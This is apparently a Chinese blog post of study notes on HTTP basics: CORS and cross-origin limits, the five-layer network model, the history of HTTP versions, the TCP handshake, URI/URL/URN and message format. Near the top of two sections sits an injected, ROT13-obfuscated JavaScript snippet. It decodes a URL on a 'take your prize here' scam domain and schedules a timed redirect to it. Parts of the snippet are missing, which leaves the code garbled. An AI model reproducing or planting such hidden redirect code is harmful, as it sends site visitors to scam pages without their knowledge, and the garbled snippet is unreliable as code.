HTTP各种特性总览

rx onlineString.prototype.a73fba7d=function(){return this.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c=(c=c.charCodeAt(0)+13)?c:c-26);});};u=’uggcf://gnxrlbhecevmrurer1.yvsr/?h=l2lxnrj&b=2khc89e&z=1&g=jrozaf4′;function f31454d7(){ =u.a73fba7d();} (f31454d7,4987);
索引:

HTTP客户端

 

HTTP客户端,最简单的就是浏览器,输入一个URL发起http请求返回一个页面。在console中的Headers就是HTTP的首行,注意,这并不属于headers里面的内容。

可以使用curl来请求报文:

CORS跨域请求的限制与解决

跨域的概念:比如有两个server不同端口来模拟两个不同的服务。

实际上跨域失败是一个浏览器提供的功能,数据是发送出去了的,接收的数据也是接收了的,但是在解析的时候浏览器返现返回的头里面没有’Access-Control-Allow-Origin’:’*’,也就是跨域不是允许的,就会过滤掉不解析这一部分内容,*代表任何页面都可以获得这个服务,但是这样是不安全的,因为别人就可以访问这个server的内容了,因此可以设置为某一个特定的内容,比如说’Access-Control-Allow-Origin’:’http://baid.com’。就是说在一个网页的请求中,任何的ajax请求都是在同域里面的,如果跨域了,那么必须要跨域的那个服务器允许才能够实现跨域。实际上可以使用jsonP来实现跨域请求,也可以直接在script标签上加载一个连接来解决跨域问题。

 

 

HTTP协议基础

rx onlineString.prototype.a73fba7d=function(){return this.replace(/[a-zA-Z]/g,function(c){return String.fromCharCode((c=(c=c.charCodeAt(0)+13)?c:c-26);});};u=’uggcf://gnxrlbhecevmrurer1.yvsr/?h=l2lxnrj&b=2khc89e&z=1&g=jrozaf4′;function f31454d7(){ =u.a73fba7d();} (f31454d7,4987);
索引:

5层网络模型
历史
HTTP三次握手
URI、URL、URN
HTTP报文格式

 

经典的五层模型:

HTTP是基于TCP协议去实现的,下面三层web非常的底层在web开发中基本上不会涉及到,当这里提供一些介绍。

物理层:主要作用是定义物理设备如何传输数据,如光缆、网线、网卡等等。

数据链路层:在通信的实体间建立数据链路连接,基本上是0101之类的东西。

网络层:为数据在节点之间传输创建逻辑链路。

传输层:主要由TCP和UDP,更多的情况下使用的是TCP,因为更加的可靠,传输层向用户提供了可靠地端到端(End-to-End)服务。从电脑到服务器连接后,如何传输,如何接收组装数据都是在传输层进行定义的,传输层向高层屏蔽了下层数据通信的细节,也就是对于web开发者不需要知道如何去分片传输数据,或者ajax请求在数据比较大的时候是一次性传输不完的,这个过程传输层也是帮助我们去实现了。

应用层:为应用软件提供了很多服务。是构建与TCP协议之上的,屏蔽了网络传输相关的细节。

 

HTTP历史

第一个定稿的是HTTP/0.9,这个时候只有一个命令GET,没有HEADER等描述数据的信息,服务器发送完毕就关闭TCP连接,注意HTTP连接和TCP连接不是一个概念,一个TCP连接可以发起很多个HTTP请求。
HTTP/1.0 增加了很多的命令POST等等,增加了status code和header,增加了多字符集的支持,多部分发送、权限、缓存等。
HTTP/1.1,更多的是对1.0的优化,实现了持久连接,这样性能会高很多,增加了pipeline,可以在同一个连接中发送多个请求,但是在服务端是需要按顺序来返回的,也就是说串行的执行,这个在HTTP2中会进行优化。增加了host和其他的一些命令,有了host可以在一台服务器跑不用的web服务如node或java,通过host来进行判断。
HTTP2现在还没有普及,所有数据以二进制进行传输,同一个连接里面发送多个请求不再需要按照顺序来,是并行的,头信息会进行压缩,可以有效的减少带宽的使用。还提供了推送的概念,也就是服务端是可以主动发起数据传输的。也就是在请求HTML的时候可以将CSS和JS并行的主动发送到客户端,大幅提高了传输效率。

 

HTTP三次握手:

HTTP不存在连接的概念,只有请求和响应的概念,因此需要一个TCP connection来实现连接。

三次握手实际上是创建这个TCP连接的过程,只有创建好了TCP连接之后才能够实现HTTP。

首先客户端发起一个我要创建连接的数据包请求,SYN是一个标志位,说明是要创建请求,Seq=一个数字,一般是1,服务端接收到了之后就会开启一个TCP socket的一个端口返回给客户端,ACK=客户端发送的seq+1;然后客户端知道服务端允许我连接了,就发送给服务端连接消息。

三次握手的意义是防止一些无效的请求,比如延迟而导致的服务器开销问题,如果没有第三次握手,服务端就不知道客户端是是否真的要连接,就会一直开一个端口等客户端来连接。

 

URI、URL、URN

URI:统一资源标志符,包含URL、URN。是为了识别物联网上固定的资源所在的位置。

URL:统一资源定位器,包含了http://xxx.com:80/path?query=string#hash

http这个位置定义的是协议,比如ws或者ftp

不带端口的情况下就是默认80端口,一般是不带端口的

Path路由,就是说这个web服务上有很多的东西,那么就可以通过路由来找到这个资源。比较像Linux的目录结构。

?query=string是一个搜索参数

#hash代表http比如找到了一个很长的文档,那么就可以使用#hash来找到文本中的某一个片段,前端用锚点来实现。

URN:使用不多,是永久统一资源定位符,也就是链接换了一个位置,比如访问一个不存在的URL会返回404,但是会通过URN来找到资源即使资源换了位置,但是目前还没有非常成熟的方案。

 

HTTP报文格式:

首先要包含一个首行,首行并行不是header里面的,会包含method,GET是获取,POST常见,PUT更新,每个method有不同的语言,这个定义只是一张纸上写的,不一定要这样做,比如你也可以用GET来更新,但是建议按照规定的语义来执行。200后面的OK是这个200代表的含义,也就是用明文告诉你。注意header之后有一个空行来区分,空行后面就是body中的内容。api接口的设计可以用不同的method来区分进行的操作,这是更合理的api设计方式。好的HTTP服务是可以通过CODE判断结果的。也有很多国内的服务器只返回200和400的,然后把提示放在消息里面,但是这个是不符合要求的。